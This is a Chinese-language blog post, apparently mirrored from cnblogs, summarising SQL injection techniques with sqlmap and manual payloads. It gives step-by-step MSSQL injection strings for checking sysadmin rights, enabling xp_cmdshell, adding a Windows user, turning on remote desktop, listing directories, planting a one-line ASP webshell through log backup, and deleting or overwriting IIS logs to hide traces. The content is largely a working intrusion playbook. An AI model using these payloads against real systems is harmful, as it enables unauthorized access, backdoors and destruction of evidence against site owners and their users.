zoukankan      html  css  js  c++  java
  • sql工具和手工注入总结

    普通注入:

    1. 数字注入
    2. 字符注入
    3. base64注入:和常规的方法没有说明区别,主要是解码然后编码;

    如果普通注入不行,尝试大小写绕过,编码等绕过;

    如果不行尝试盲注;

    POST注入

      0x00 常用的

      注入点:http://tetasp.vulnweb.com/Login.asp

      几种注入方式: sqlmap -r search-test.txt -p tfUPass

      其中search-test.txt的内容为以下所抓的post包

      0x01 常参数的

      sqlmap -r search-test.txt -p tfUPss

      0x02 常参数的

      sqlmap -u http://testasp.vulnweb.com/Login.asp --froms

      0x03 指定一个参数的方法

      sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=11&tfUPass=13"

    盲注:

    1. 基于报错的注入(随笔有总结)
    2. 延时注入:是一种基于时间差异的注入技术
      1. 通过在后面加上sleep(time)来判断是否存在注入;
      2. 通过sqlmap: sqlmap.py -u "http://www.cc.com/show.asp?id=1" --dbs --delay 10
    3. 字符拆半猜解
      1. 首先设定一个标准正确的页面:http://www.cc.com/show.php?id=1
      2. 猜解数据库的名称,首先猜解数据库名称的长度:
        1. http://www.cc.com/show.php?id=1 and length(datebase())>11
        2. http://www.cc.com/show.php?id=1 and length(datebase())>12
        3. 这里面就会发现长度为11时没有报错,而12时报错,说明当前数据库名称应该是12个字符。
        4. http://www.cc.com/show.php?id=1 and ascii(substring(database(),1,1))>97
        5. http://www.cc.com/show.php?id=1 and ascii(substring(database(),1,1))>98
        6. 到98的时候出现错误,说明第一个字节的ASCII码时98,那第一个字符是b。
        7. 依次类推,就能得到数据库名。
      3. 需要猜解数据库中表的个数:
        1. http://www.cc.com/show.php?id=1 and (select count(TABLE_NAME)  from INFORMATION_SCHEMA.TABLES where table_schema=database())>14
        2. http://www.cc.com/show.php?id=1 and (select count(TABLE_NAME)  from INFORMATION_SCHEMA.TABLES where table_schema=database())>15
        3. 这样就可以得出数据库中表的个数为15
      4. 这种方法最好采用工具sqlmap进行猜解。

    或者尝试cookie注入;

    cookie注入:

    1. 穿山甲(有cookie选项)
    2. sqlmap使用:sqlmap.py -u "http:www.xx.com/show.asp" --cookie "id=27" --level 2(判断是否存在cookie注入),存在则爆表,字段等;
    3. 手工判断
      1. 寻找如“ .asp?id=xx"类的带参数的URL。
      2. 去掉”id=xx"查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
      3. 清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));",按Enter键弹出对话框,然后用原来页面刷新,显示正常,说明后台是用request("id")这种方式获取数据的。
      4. 将常规的SQL注入中的判断语句带入上面的URL中:javascript:alert(document.cookie="id="+escape("xx and 1=1"));javascript:alert(document.cookie="id="+escape("xx and 1=2"));如果返回正常和不正常页面,则说明应该存在注入。

    偏移注入:

      解决注入知道表名,不知道列名,无法继续猜解的注入办法;

      注入原理:

    1. Union合并查询需要列相等,顺序一样;
    2. select * from admin as a inner join admin as b on a.id=b.id,这句话就是说把admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行,显然,a,b都是同一个表,当然全部返回。
    3. http://www.2cto.com/Article/201212/179284.html

    搜索注入:

    1. 简单搜索注入判断: a% and 1=1 -- 正常;    a% and 1=2 -- 错误;
    2. 判断权限: a% and 1=(select IS_SRVROLEMEMBER('sysadmin'));  --   返回正常则sa权限
    3. 判断权限: a% and 1=(select IS_MEMBER('db_owner')); --    反正正常则DB权限
    4. 如果sa权限,直接建立系统账号密码,登陆3389(远程桌面连接端口);命令是:a%';exec master.. xp_cmdshell "net user admins 123456 /add" --
      1. 如果'xp_cmdshell'被关闭,就开启它;
      2. EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; reconfigure 最后这个为1则开启,为0是关闭。
      3. a%'; EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE -- (搜索框写这个)
      4. 如果不开3389,使用下面命令:
        1. a%;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',0; --
    5. 如果是db权限:主要思路是列目录--差异备份  还有需要库名,需要想办法弄出来。
      1. 首先列目录: a% order by XX --  猜列数,例如12;
      2. 然后a% and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12 --
      3. 然后用<<MSSQL手工注入目录查找辅助工具>>生成列目录代码,以http://localhost:8080/0/Production/PRODUCT_DETAIL.asp?id=1513为例:
        1. 例如在C盘建立表连接:a%;drop table t_tian6 create table t_tian6(fn nvarchar(4000),d int,f int) declare @root nvarchar(4000) set @root=0x43003A00 insert into t_tian6 exec master..xp_dirtree @root,1,1 update t_tian6 set fn=fn+char(92) where f=0 drop table t_tian6_1 create tabLe t_tian6_1(f nvarchar(4000))--
        2. 然后远程整理: %a;declare @fn nvarchar(400),@f int,@r nvarchar(4000) set @r=char(9) declare cr cursor for select fn,f from t_tian6 order by f,fn open cr fetch cr into @fn,@f while @@fetch_status=0 begin  set @r=@r+@fn+char(9)  fetch cr into @fn,@f end close cr deallocate cr insert intO t_tian6_1(f) values(@r)--
        3. 最后获取结果,显示路径,a%' and 1=2 select 1,2,3,4,(select top 1 f from t_tian6_1),6,7,8,9,10,11,12 --
      4. 接着继续用《MSSQL手工注入目录查找辅助工具》生成列目录代码,按照上面的步骤来做,获取路径,直到找到网站根目录。
      5. 然后获取库名: a% and 1=2 union select 1,2,3,4,(select db_name()),6,7,8,9,10,11,12 --
      6. 接下来就差异备份一句话木马了:下面用log五步备份法,最后拿到权限后最好把备份东西删掉;
        1. a%; alert database 库名 set RECOVERY FULL --
        2. a%; create table cmd(a image) --
        3. a%;backup log 库名 to disk='c:ackuplog.bak' with init --
        4. a%;insert into cmd (a) values (hex('<%eval(request("a"))%>'))         <%eval(request("a"))%>=一句话木马
        5. 然后用一句话上去连,拿到webshell;
    6. 如果是public权限,那么只能拿到后台管理员账号密码,然后登陆后台拿webshell了;
    7. 清除日志:
      1.  删除:a%;exec master..xp_cmdshell "del C:winntsystem32logfilesW3SVC1ex090127.log" --
      2.   覆盖(推荐):a%;exec master..xp_cmdshell "copy C:winntsystem32logfilesW3SVC1ex090201.log C:winntsystem32logfilesW3SVC1ex100201.log" --
      3.    按照不同路径自己改路径。
    8. 注意:如果在文本框中输入字数被限制了,那么可以用firebug来修改源文件,例如:<input type="text" name="keyword" size=10 value="无关键字“ maxlength="50">
  • 相关阅读:
    Windows与Linux端口占用查询及处理
    mysql的五种日期和时间类型【转载】
    MongoDB的管理
    在MongoDB中执行查询、创建索引
    MongoDB文档的基本操作
    Codeforces Round #504 (rated, Div. 1 + Div. 2, based on VK Cup 2018 Final) ABCD
    CNN卷积神经网络
    hdu6406 Taotao Picks Apples 多校第8场1010
    hdu6397 Character Encoding 多校第8场1001
    梯度下降和反向传播
  • 原文地址:https://www.cnblogs.com/blacksunny/p/5229426.html
Copyright © 2011-2022 走看看